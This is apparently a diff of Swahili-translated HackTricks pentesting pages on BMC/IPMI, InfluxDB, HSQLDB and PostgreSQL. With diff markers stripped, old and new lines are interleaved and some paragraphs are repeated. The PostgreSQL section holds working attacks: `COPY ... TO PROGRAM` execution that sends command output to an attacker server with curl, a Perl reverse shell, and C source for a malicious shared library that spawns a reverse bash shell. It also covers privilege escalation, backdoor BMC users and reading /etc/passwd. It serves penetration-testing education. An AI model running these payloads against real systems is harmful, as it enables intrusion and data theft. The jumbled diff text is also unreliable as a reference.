Upatikanaji wa kiutawala kwa Baseboard Management Controller (BMC) unafungua njia mbalimbali za kufikia mfumo wa uendeshaji wa mwenyeji. Njia rahisi ni kutumia kazi za KVM za BMC. Hii inaweza kufanywa kwa kuanzisha upya mwenyeji hadi kwenye shell ya root kupitia GRUB (ukitumia `init=/bin/sh`) au kuanzisha kutoka kwa CD-ROM ya virtual iliyowekwa kama diski ya kuokoa. Njia hizi zinaruhusu kudhibiti moja kwa moja diski ya mwenyeji, ikiwa ni pamoja na kuingiza backdoors, kutoa data, au hatua zozote zinazohitajika kwa tathmini ya usalama. Hata hivyo, hii inahitaji kuanzisha upya mwenyeji, ambayo ni hasara kubwa. Bila kuanzisha upya, kufikia mwenyeji anayekimbia ni ngumu zaidi na inategemea usanidi wa mwenyeji. Ikiwa console ya kimwili au serial ya mwenyeji inaendelea kuingia, inaweza kuchukuliwa kwa urahisi kupitia kazi za KVM za BMC au serial-over-LAN (sol) kupitia `ipmitool`. Kuchunguza matumizi ya rasilimali za vifaa vilivyoshirikiwa, kama vile i2c bus na chip ya Super I/O, ni eneo linalohitaji uchunguzi zaidi.
Upatikanaji wa kiutawala kwa Baseboard Management Controller (BMC) unafungua njia mbalimbali za kufikia mfumo wa uendeshaji wa mwenyeji. Njia rahisi ni kutumia kazi za KVM za BMC. Hii inaweza kufanywa kwa kuanzisha upya mwenyeji hadi kwenye shell ya root kupitia GRUB (ukitumia `init=/bin/sh`) au kuanzisha kutoka kwa CD-ROM ya virtual iliyowekwa kama diski ya kuokoa. Njia hizi zinaruhusu kudhibiti moja kwa moja diski ya mwenyeji, ikiwa ni pamoja na kuingiza backdoors, kutoa data, au hatua zozote zinazohitajika kwa tathmini ya usalama. Hata hivyo, hii inahitaji kuanzisha upya mwenyeji, ambayo ni hasara kubwa. Bila kuanzisha upya, kufikia mwenyeji anayekimbia ni ngumu zaidi na inategemea usanidi wa mwenyeji. Ikiwa console ya kimwili au serial ya mwenyeji inaendelea kuingia, inaweza kuchukuliwa kwa urahisi kupitia kazi za KVM za BMC au serial-over-LAN (sol) kupitia `ipmitool`. Kuchunguza matumizi ya rasilimali za vifaa vilivyoshirikiwa, kama vile basi ya i2c na chip ya Super I/O, ni eneo linalohitaji uchunguzi zaidi.
## Introducing Backdoors into BMC from the Host
Baada ya kuathiri mwenyeji aliye na BMC, **kiolesura cha BMC cha ndani kinaweza kutumika kuingiza akaunti ya mtumiaji ya backdoor**, kuunda uwepo wa kudumu kwenye seva. Shambulio hili linahitaji uwepo wa **`ipmitool`** kwenye mwenyeji aliyeathiriwa na kuwezesha msaada wa dereva wa BMC. Amri zifuatazo zinaonyesha jinsi akaunti mpya ya mtumiaji inaweza kuingizwa kwenye BMC kwa kutumia kiolesura cha ndani cha mwenyeji, ambacho kinapita hitaji la uthibitisho. Mbinu hii inatumika kwa mifumo mbalimbali ya uendeshaji ikiwa ni pamoja na Linux, Windows, BSD, na hata DOS.
Baada ya kuathiri mwenyeji aliye na BMC, **kiolesura cha BMC cha ndani kinaweza kutumika kuingiza akaunti ya mtumiaji ya backdoor**, kuunda uwepo wa kudumu kwenye seva. Shambulio hili linahitaji uwepo wa **`ipmitool`** kwenye mwenyeji aliyeathiriwa na kuanzishwa kwa msaada wa dereva wa BMC. Amri zifuatazo zinaonyesha jinsi akaunti mpya ya mtumiaji inaweza kuingizwa kwenye BMC kwa kutumia kiolesura cha ndani cha mwenyeji, ambacho kinapita hitaji la uthibitisho. Mbinu hii inatumika kwa mifumo mbalimbali ya uendeshaji ikiwa ni pamoja na Linux, Windows, BSD, na hata DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
@ -115,7 +113,7 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
- `port:623`
## Marejeo
## References
- [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)

View File

@ -1,24 +1,23 @@
# 8086 - Pentesting InfluxDB
{{#include ../banners/hacktricks-training.md}}
## Basic Information
**InfluxDB** ni hifadhidata ya wazi ya **time series database (TSDB)** iliyotengenezwa na InfluxData. TSDBs zimeboreshwa kwa ajili ya kuhifadhi na kutoa data za muda, ambazo zinajumuisha jozi za alama za muda na thamani. Ikilinganishwa na hifadhidata za matumizi ya jumla, TSDBs zinatoa maboresho makubwa katika **nukuu ya hifadhi** na **utendaji** kwa seti za data za muda. Zinatumia algorithimu maalum za kuf compress na zinaweza kuwekwa ili kuondoa data za zamani kiotomatiki. Indices maalum za hifadhidata pia zinaongeza utendaji wa maswali.
**InfluxDB** ni hifadhidata ya **mfululizo wa wakati (TSDB)** iliyoandaliwa na InfluxData. TSDBs zimeboreshwa kwa ajili ya kuhifadhi na kutoa data za mfululizo wa wakati, ambazo zinajumuisha jozi za alama za wakati na thamani. Ikilinganishwa na hifadhidata za matumizi ya jumla, TSDBs zinatoa maboresho makubwa katika **nafasi ya kuhifadhi** na **utendaji** kwa seti za data za mfululizo wa wakati. Zinatumia algorithimu maalum za kufinya na zinaweza kuwekwa ili kuondoa data za zamani kiotomatiki. Indices maalum za hifadhidata pia zinaongeza utendaji wa maswali.
**Default port**: 8086
**Port ya kawaida**: 8086
```
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
```
## Uainishaji
## Enumeration
Kutoka kwa mtazamo wa pentester hii ni database nyingine ambayo inaweza kuwa inahifadhi taarifa nyeti, hivyo ni ya kuvutia kujua jinsi ya kutoa taarifa zote.
Kutoka kwa mtazamo wa pentester hii ni database nyingine ambayo inaweza kuwa inahifadhi taarifa nyeti, hivyo ni ya kuvutia kujua jinsi ya kutupa taarifa zote.
### Uthibitishaji
### Authentication
InfluxDB inaweza kuhitaji uthibitishaji au la
InfluxDB inaweza kuhitaji uthibitisho au la
```bash
# Try unauthenticated
influx -host 'host name' -port 'port #'
@ -47,7 +46,7 @@ _internal
```
#### Onyesha meza/mipimo
The [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) inaeleza kwamba **mipimo** katika InfluxDB yanaweza kulinganishwa na meza za SQL. Neno la **mipimo** linaashiria maudhui yao husika, kila moja ikihifadhi data inayohusiana na entiti maalum.
The [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) inaeleza kwamba **mipimo** katika InfluxDB yanaweza kulinganishwa na meza za SQL. Neno la **mipimo** linaashiria maudhui yao husika, kila moja ikiwa na data inayohusiana na entiti maalum.
```bash
> show measurements
name: measurements
@ -97,7 +96,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
```
> [!WARNING]
> Katika baadhi ya majaribio na kuondoa uthibitisho, ilibainika kwamba jina la jedwali linahitaji kuwa kati ya nukuu mbili kama: `select * from "cpu"`
> Katika baadhi ya majaribio na uhamasishaji wa uthibitisho, ilibainika kwamba jina la jedwali linahitaji kuwa kati ya nukuu mbili kama: `select * from "cpu"`
### Uthibitishaji wa Kiotomatiki
```bash

View File

@ -1,36 +1,36 @@
# 9001 - Pentesting HSQLDB
{{#include ../banners/hacktricks-training.md}}
# Taarifa za Msingi
## Basic Information
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** ni mfumo mkuu wa hifadhidata ya SQL inayohusiana ulioandikwa kwa Java. Inatoa injini ndogo, ya haraka ya hifadhidata yenye nyuzi nyingi na ya muamala yenye meza za ndani na za diski na inasaidia hali za kuingizwa na seva.
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** ni mfumo mkuu wa hifadhidata ya SQL inayohusiana iliyoandikwa kwa Java. Inatoa injini ndogo, ya haraka ya hifadhidata yenye nyuzi nyingi na ya muamala yenye meza za ndani na za diski na inasaidia hali za kuingizwa na seva.
**Bandari ya kawaida:** 9001
**Port ya kawaida:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Taarifa
### Mipangilio ya Kawaida
## Default Settings
Kumbuka kwamba kwa kawaida huduma hii inafanya kazi katika kumbukumbu au imefungwa kwa localhost. Ikiwa umeipata, huenda umefanya matumizi ya huduma nyingine na unatafuta kuongeza mamlaka.
Akawali, akidi za kawaida ni `sa` zikiwa na nenosiri tupu.
Akina taarifa za msingi kwa kawaida ni `sa` bila nenosiri.
Ikiwa umefanya matumizi ya huduma nyingine, tafuta akidi zinazowezekana kwa kutumia
Ikiwa umefanya matumizi ya huduma nyingine, tafuta taarifa zinazowezekana za kuingia kwa kutumia
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Kumbuka jina la database kwa makini - utahitaji hilo kuungana.
# Info Gathering
## Info Gathering
Unganisha na DB instance kwa [kupakua HSQLDB](https://sourceforge.net/projects/hsqldb/files/) na kutoa `hsqldb/lib/hsqldb.jar`. Endesha programu ya GUI \(eww\) kwa kutumia `java -jar hsqldb.jar` na uungane na instance kwa kutumia akidi zilizogunduliwa/za udhaifu.
Kumbuka URL ya muunganisho itakuwa na muonekano kama huu kwa mfumo wa mbali: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Tricks
## Tricks
## Java Language Routines
### Java Language Routines
Tunaweza kuita mbinu za statiki za darasa la Java kutoka HSQLDB kwa kutumia Java Language Routines. Kumbuka kwamba darasa linaloitwa linahitaji kuwa katika classpath ya programu.
@ -38,7 +38,7 @@ JRTs zinaweza kuwa `functions` au `procedures`. Functions zinaweza kuitwa kupiti
Ikiwa mbinu ya Java tunayotaka kuita inarudisha void, tunahitaji kutumia taratibu inayoitwa kwa taarifa ya `CALL`.
## Reading Java System Properties
### Reading Java System Properties
Unda kazi:
```text
@ -52,9 +52,9 @@ VALUES(getsystemproperty('user.name'))
```
Unaweza kupata [orodha ya mali za mfumo hapa](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Andika Maudhui kwenye Faili
### Andika Maudhui kwenye Faili
Unaweza kutumia `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget iliyoko katika JDK \(inayojiendesha kwenye njia ya darasa la programu\) kuandika vitu vilivyoandikwa kwa hex kwenye diski kupitia utaratibu maalum. **Kumbuka ukubwa wa juu wa 1024 bytes**.
Unaweza kutumia `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget iliyoko katika JDK \(iliyopakiwa kiotomatiki kwenye njia ya darasa la programu\) kuandika vitu vilivyoandikwa kwa hex kwenye diski kupitia utaratibu maalum. **Kumbuka ukubwa wa juu wa 1024 bytes**.
Unda utaratibu:
```text

View File

@ -1,13 +1,12 @@
# 5432,5433 - Pentesting Postgresql
{{#include ../banners/hacktricks-training.md}}
## **Taarifa za Msingi**
## **Basic Information**
**PostgreSQL** in وصفwa kama **mfumo wa hifadhidata wa uhusiano wa vitu** ambao ni **chanzo wazi**. Mfumo huu sio tu unatumia lugha ya SQL bali pia unaimarisha na vipengele vya ziada. Uwezo wake unaruhusu kushughulikia aina mbalimbali za data na operesheni, na kuufanya kuwa chaguo bora kwa waendelezaji na mashirika.
**Bandari ya kawaida:** 5432, na ikiwa bandari hii tayari inatumika inaonekana kwamba postgresql itatumia bandari inayofuata (5433 labda) ambayo haijatumiwa.
**Port ya kawaida:** 5432, na ikiwa port hii tayari inatumika inaonekana kwamba postgresql itatumia port inayofuata (5433 labda) ambayo haijatumiwa.
```
PORT STATE SERVICE
5432/tcp open pgsql
@ -53,9 +52,9 @@ SELECT * FROM pg_extension;
\s
```
> [!WARNING]
> Ikiwa unakimbia **`\list`** na unapata hifadhidata inayoitwa **`rdsadmin`** unajua uko ndani ya **AWS postgresql database**.
> Ikiwa unakimbia **`\list`** na unapata database inayoitwa **`rdsadmin`** unajua uko ndani ya **AWS postgresql database**.
Kwa maelezo zaidi kuhusu **jinsi ya kutumia vibaya hifadhidata ya PostgreSQL** angalia:
Kwa maelezo zaidi kuhusu **jinsi ya kutumia vibaya database ya PostgreSQL** angalia:
{{#ref}}
../pentesting-web/sql-injection/postgresql-injection/
@ -102,7 +101,7 @@ DETAIL: FATAL: password authentication failed for user "name"
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
Katika kazi za PL/pgSQL, kwa sasa haiwezekani kupata maelezo ya makosa. Hata hivyo, ikiwa una ufikiaji wa moja kwa moja kwenye seva ya PostgreSQL, unaweza kupata habari muhimu. Ikiwa kuchota majina ya watumiaji na nywila kutoka kwenye meza za mfumo hakuwezekani, unaweza kufikiria kutumia mbinu ya shambulio ya orodha ya maneno iliyozungumziwa katika sehemu iliyopita, kwani inaweza kutoa matokeo chanya.
In PL/pgSQL functions, kwa sasa haiwezekani kupata maelezo ya makosa. Hata hivyo, ikiwa una ufikiaji wa moja kwa moja kwenye seva ya PostgreSQL, unaweza kupata taarifa zinazohitajika. Ikiwa kuchota majina ya watumiaji na nywila kutoka kwenye meza za mfumo hakuwezekani, unaweza kufikiria kutumia mbinu ya shambulio ya wordlist iliyozungumziwa katika sehemu iliyopita, kwani inaweza kutoa matokeo chanya.
## Uhesabuji wa Haki
@ -115,10 +114,10 @@ Katika kazi za PL/pgSQL, kwa sasa haiwezekani kupata maelezo ya makosa. Hata hiv
| rolcreaterole | Jukumu linaweza kuunda majukumu zaidi |
| rolcreatedb | Jukumu linaweza kuunda hifadhidata |
| rolcanlogin | Jukumu linaweza kuingia. Yaani, jukumu hili linaweza kutolewa kama kitambulisho cha awali cha mamlaka ya kikao |
| rolreplication | Jukumu ni jukumu la kuiga. Jukumu la kuiga linaweza kuanzisha muunganisho wa kuiga na kuunda na kufuta nafasi za kuiga. |
| rolconnlimit | Kwa majukumu ambayo yanaweza kuingia, hii inaweka idadi ya juu ya muunganisho wa sambamba ambayo jukumu hili linaweza kufanya. -1 inamaanisha hakuna kikomo. |
| rolreplication | Jukumu ni jukumu la replication. Jukumu la replication linaweza kuanzisha muunganisho wa replication na kuunda na kufuta slots za replication. |
| rolconnlimit | Kwa majukumu ambayo yanaweza kuingia, hii inaweka idadi ya juu ya muunganisho wa pamoja ambayo jukumu hili linaweza kufanya. -1 inamaanisha hakuna kikomo. |
| rolpassword | Si nywila (daima inasomeka kama `********`) |
| rolvaliduntil | Wakati wa kuisha kwa nywila (inatumika tu kwa uthibitishaji wa nywila); null ikiwa hakuna kuisha |
| rolvaliduntil | Muda wa kuisha kwa nywila (inatumika tu kwa uthibitishaji wa nywila); null ikiwa hakuna kuisha |
| rolbypassrls | Jukumu linapita kila sera ya usalama wa kiwango cha safu, angalia [Sehemu 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) kwa maelezo zaidi. |
| rolconfig | Mipangilio maalum ya jukumu kwa vigezo vya usanidi wa wakati wa kukimbia |
| oid | ID ya jukumu |
@ -129,7 +128,7 @@ Katika kazi za PL/pgSQL, kwa sasa haiwezekani kupata maelezo ya makosa. Hata hiv
- Ikiwa wewe ni mwanachama wa **`pg_read_server_files`** unaweza **kusoma** faili
- Ikiwa wewe ni mwanachama wa **`pg_write_server_files`** unaweza **kuandika** faili
> [!NOTE]
> [!TIP]
> Kumbuka kwamba katika Postgres **mtumiaji**, **kundi** na **jukumu** ni **sawa**. Inategemea tu **jinsi unavyotumia** na ikiwa unaruhusu **kuingia**.
```sql
# Get users roles
@ -212,7 +211,7 @@ SELECT * FROM pg_proc;
### Read directories and files
Kutoka kwenye [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)wanachama wa kundi lililofafanuliwa **`DEFAULT_ROLE_READ_SERVER_FILES`** (linaloitwa **`pg_read_server_files`**) na **watumiaji wakuu** wanaweza kutumia njia ya **`COPY`** kwenye njia yoyote (angalia `convert_and_check_filename` katika `genfile.c`):
From this [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)wanachama wa kundi lililofafanuliwa **`DEFAULT_ROLE_READ_SERVER_FILES`** (linaloitwa **`pg_read_server_files`**) na **watumiaji wa super** wanaweza kutumia njia ya **`COPY`** kwenye njia yoyote (angalia `convert_and_check_filename` katika `genfile.c`):
```sql
# Read file
CREATE TABLE demo(t text);
@ -220,7 +219,7 @@ COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
> [!WARNING]
> Kumbuka kwamba ikiwa wewe si mtumiaji mkuu lakini una ruhusa za **CREATEROLE** unaweza **kujiweka kuwa mwanachama wa kundi hilo:**
> Kumbuka kwamba ikiwa si mtumiaji wa super lakini una ruhusa za **CREATEROLE** unaweza **kujiweka kuwa mwanachama wa kundi hilo:**
>
> ```sql
> GRANT pg_read_server_files TO username;
@ -228,7 +227,7 @@ SELECT * FROM demo;
>
> [**Maelezo zaidi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
Kuna **mifumo mingine ya postgres** ambayo inaweza kutumika **kusoma faili au orodha ya orodha**. Ni **watumiaji wakuu** tu na **watumiaji wenye ruhusa maalum** wanaweza kuyatumia:
Kuna **kazi nyingine za postgres** ambazo zinaweza kutumika **kusoma faili au kuorodhesha saraka**. Ni **superusers** tu na **watumiaji wenye ruhusa maalum** wanaoweza kuzitumia:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
@ -261,7 +260,7 @@ Ni **watumiaji wakuu** tu na wanachama wa **`pg_write_server_files`** wanaoweza
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
> [!WARNING]
> Kumbuka kwamba ikiwa si mtumiaji mkuu lakini una ruhusa za **`CREATEROLE`** unaweza **kujiweka kuwa mwanachama wa kundi hilo:**
> Kumbuka kwamba ikiwa si mtumiaji wa super lakini una ruhusa za **`CREATEROLE`** unaweza **kujiweka kuwa mwanachama wa kundi hilo:**
>
> ```sql
> GRANT pg_write_server_files TO username;
@ -269,7 +268,7 @@ copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/ju
>
> [**Maelezo zaidi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
Kumbuka kwamba COPY haiwezi kushughulikia herufi za newline, kwa hivyo hata kama unatumia payload ya base64 unahitaji **kutuma mstari mmoja tu**.\
Kumbuka kwamba COPY haiwezi kushughulikia herufi za newline, kwa hivyo hata kama unatumia payload ya base64 unahitaji **kutuma mstari mmoja**.\
Kikomo muhimu sana cha mbinu hii ni kwamba **`copy` haiwezi kutumika kuandika faili za binary kwani inabadilisha baadhi ya thamani za binary.**
### **Upakuaji wa faili za binary**
@ -332,7 +331,7 @@ ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. Tumia [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) ili [kuhariri filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); weka bendera zote za `rol*` boolean kuwa 1 kwa ruhusa kamili.
5. Tumia [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) ili [kuhariri filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); weka bendera zote za `rol*` kuwa 1 kwa ruhusa kamili.
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
@ -347,7 +346,7 @@ SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```
7. _(Hiari)_ Safisha cache ya jedwali la ndani kwa kukimbia swali la SQL lenye gharama kubwa
7. _(Hiari)_ Safisha cache ya jedwali ya ndani kwa kuendesha swali la SQL lenye gharama kubwa
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
@ -361,7 +360,7 @@ Unaweza pia kuwa superadmin kwa kuhariri jedwali la `pg_authid`. **Tazama** [**s
### **RCE kwa programu**
Tangu [toleo 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), ni **watumiaji wakuu** tu na wanachama wa kundi **`pg_execute_server_program`** wanaweza kutumia copy kwa RCE (mfano na exfiltration:
Tangu [toleo 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), ni **watumiaji wa super** na wanachama wa kundi **`pg_execute_server_program`** pekee wanaweza kutumia copy kwa RCE (mfano na exfiltration:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
@ -379,7 +378,7 @@ DROP TABLE IF EXISTS cmd_exec;
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
> [!WARNING]
> Kumbuka kwamba ikiwa si mtumiaji mkuu lakini una ruhusa za **`CREATEROLE`** unaweza **kujiweka kuwa mwanachama wa kundi hilo:**
> Kumbuka kwamba ikiwa si mtumiaji wa super lakini una ruhusa za **`CREATEROLE`** unaweza **kujiweka kuwa mwanachama wa kundi hilo:**
>
> ```sql
> GRANT pg_execute_server_program TO username;
@ -406,10 +405,10 @@ Mara tu unapokuwa **umejifunza** kutoka kwa chapisho la awali **jinsi ya kupakia
### Faili ya usanidi wa PostgreSQL RCE
> [!NOTE]
> Vectors zifuatazo za RCE ni muhimu sana katika muktadha wa SQLi uliokandamizwa, kwani hatua zote zinaweza kufanywa kupitia taarifa za SELECT zilizopangwa
> [!TIP]
> Vectors zifuatazo za RCE ni muhimu sana katika muktadha wa SQLi uliokandamizwa, kwani hatua zote zinaweza kufanywa kupitia taarifa za SELECT zilizopangwa.
**Faili ya usanidi** ya PostgreSQL ni **inayoweza kuandikwa** na **mtumiaji postgres**, ambaye ndiye anayekimbia hifadhidata, hivyo kama **mtumiaji mkuu**, unaweza kuandika faili katika mfumo wa faili, na kwa hivyo unaweza **kufuta faili hii.**
**Faili ya usanidi** ya PostgreSQL inaweza **kuandikwa** na **mtumiaji wa postgres**, ambaye ndiye anayekimbia hifadhidata, hivyo kama **superuser**, unaweza kuandika faili katika mfumo wa faili, na kwa hivyo unaweza **kufuta faili hii.**
![](<../images/image (322).png>)
@ -435,11 +434,11 @@ Kisha, mshambuliaji atahitaji:
2. `ssl_passphrase_command_supports_reload = on`
6. Tekeleza `pg_reload_conf()`
Wakati wa kujaribu hii niliona kwamba hii itafanya kazi tu ikiwa **faili ya funguo binafsi ina ruhusa 640**, inamilikiwa na root na na **kundi ssl-cert au postgres** (hivyo mtumiaji postgres anaweza kuisoma), na iko katika _/var/lib/postgresql/12/main_.
Wakati wa kujaribu hii niliona kuwa hii itafanya kazi tu ikiwa **faili ya funguo binafsi ina ruhusa 640**, inamilikiwa na root na na **kundi ssl-cert au postgres** (hivyo mtumiaji wa postgres anaweza kuisoma), na iko katika _/var/lib/postgresql/12/main_.
#### **RCE na archive_command**
**Zaidi** [**maelezo kuhusu usanidi huu na kuhusu WAL hapa**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
**Maelezo zaidi** [**kuhusu usanidi huu na kuhusu WAL hapa**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Sifa nyingine katika faili ya usanidi ambayo inaweza kutumika ni `archive_command`.
@ -456,12 +455,12 @@ Hatua za jumla ni:
Maelezo zaidi [kuhusu mbinu hii hapa](https://adeadfed.com/posts/postgresql-select-only-rce/).
Vector hii ya shambulio inatumia faida ya vigezo vya usanidi vifuatavyo:
Vector hii ya shambulio inatumia faida ya mabadiliko yafuatayo ya usanidi:
- `session_preload_libraries` -- maktaba ambazo zitawekwa na seva ya PostgreSQL wakati wa muunganisho wa mteja.
- `dynamic_library_path` -- orodha ya saraka ambapo seva ya PostgreSQL itatafuta maktaba.
Tunaweza kuweka thamani ya `dynamic_library_path` kuwa saraka, inayoweza kuandikwa na mtumiaji `postgres` anayekimbia hifadhidata, kwa mfano, saraka ya `/tmp/`, na kupakia kitu kibaya cha `.so` huko. Kisha, tutalazimisha seva ya PostgreSQL kupakia maktaba yetu mpya iliyopakuliwa kwa kuijumuisha katika vigezo vya `session_preload_libraries`.
Tunaweza kuweka thamani ya `dynamic_library_path` kwenye saraka, inayoweza kuandikwa na mtumiaji wa `postgres` anayekimbia hifadhidata, kwa mfano, saraka ya `/tmp/`, na kupakia kitu kibaya cha `.so` huko. Kisha, tutalazimisha seva ya PostgreSQL kupakia maktaba yetu mpya iliyopakuliwa kwa kuijumuisha katika mabadiliko ya `session_preload_libraries`.
Hatua za shambulio ni:
@ -469,7 +468,7 @@ Hatua za shambulio ni:
2. Jumuisha saraka ya `/tmp/` katika thamani ya `dynamic_library_path`, kwa mfano `dynamic_library_path = '/tmp:$libdir'`
3. Jumuisha jina la maktaba mbaya katika thamani ya `session_preload_libraries`, kwa mfano `session_preload_libraries = 'payload.so'`
4. Angalia toleo kuu la PostgreSQL kupitia swali la `SELECT version()`
5. Jenga msimbo wa maktaba mbaya na pakiti sahihi ya maendeleo ya PostgreSQL Mifano ya msimbo:
5. Unda msimbo wa maktaba mbaya na pakiti sahihi ya maendeleo ya PostgreSQL Mifano ya msimbo:
```c
#include <stdio.h>
@ -510,14 +509,14 @@ execve("/bin/bash", argv, NULL);
}
```
Kujenga msimbo:
Kukusanya msimbo:
```bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
6. Pakua `postgresql.conf` mbaya, iliyoundwa katika hatua 2-3, na kufuta ile ya asili
7. Pakua `payload.so` kutoka hatua 5 hadi saraka ya `/tmp`
6. Pakia `postgresql.conf` mbaya, iliyoundwa katika hatua 2-3, na ufute ile ya asili
7. Pakia `payload.so` kutoka hatua 5 kwenye saraka ya `/tmp`
8. Reload usanidi wa seva kwa kuanzisha tena seva au kuitisha swali la `SELECT pg_reload_conf()`
9. Katika muunganisho ujao wa DB, utapokea muunganisho wa shell ya kurudi.
@ -527,9 +526,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
#### **Grant**
Kulingana na [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _Majukumu yenye ruhusa ya **`CREATEROLE`** yanaweza **kutoa au kubatilisha uanachama katika jukumu lolote** ambalo si **mtumiaji mkuu**._
Kulingana na [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _Majukumu yenye ruhusa ya **`CREATEROLE`** yanaweza **kutoa au kubatilisha uanachama katika jukumu lolote** ambalo **sio** superuser._
Hivyo, ikiwa una ruhusa ya **`CREATEROLE`** unaweza kujipatia ufikiaji wa majukumu mengine **(ambayo si mtumiaji mkuu)** ambayo yanaweza kukupa chaguo la kusoma na kuandika faili na kutekeleza amri:
Hivyo, ikiwa una ruhusa ya **`CREATEROLE`** unaweza kujipatia ufikiaji wa majukumu mengine **(ambayo sio superuser)** ambayo yanaweza kukupa chaguo la kusoma na kuandika faili na kutekeleza amri:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
@ -538,20 +537,20 @@ GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### Badilisha Nenosiri
#### Modify Password
Watumiaji wenye jukumu hili wanaweza pia **kubadilisha** **nenosiri** za watumiaji wengine **wasio-superuser**:
Watumiaji wenye jukumu hili pia wanaweza **kubadilisha** **nywila** za watumiaji wengine **wasio-superuser**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Privesc to SUPERUSER
Ni kawaida sana kugundua kwamba **watumiaji wa ndani wanaweza kuingia katika PostgreSQL bila kutoa nenosiri lolote**. Hivyo, mara tu unapokuwa umepata **idhini za kutekeleza msimbo** unaweza kutumia idhini hizi kukupa **`SUPERUSER`** jukumu:
Ni kawaida sana kukutana na **watumiaji wa ndani wanaweza kuingia katika PostgreSQL bila kutoa nenosiri lolote**. Hivyo, mara tu unapokuwa umepata **idhini za kutekeleza msimbo** unaweza kutumia idhini hizi kukupa **`SUPERUSER`** jukumu:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
> [!NOTE]
> [!TIP]
> Hii kawaida inawezekana kwa sababu ya mistari ifuatayo katika faili la **`pg_hba.conf`**:
>
> ```bash
@ -565,13 +564,13 @@ COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username>
### **ALTER TABLE privesc**
Katika [**hii andiko**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) inaelezwa jinsi ilivyowezekana kufanya **privesc** katika Postgres GCP kwa kutumia haki ya ALTER TABLE ambayo ilitolewa kwa mtumiaji.
Katika [**hii ripoti**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) inaelezwa jinsi ilivyowezekana kufanya **privesc** katika Postgres GCP kwa kutumia kibali cha ALTER TABLE ambacho kilitolewa kwa mtumiaji.
Unapojaribu **kufanya mtumiaji mwingine kuwa mmiliki wa jedwali** unapaswa kupata **kosa** linalokuzuia, lakini kwa wazi GCP ilitoa hiyo **chaguo kwa mtumiaji wa postgres ambaye si superuser** katika GCP:
<figure><img src="../images/image (537).png" alt=""><figcaption></figcaption></figure>
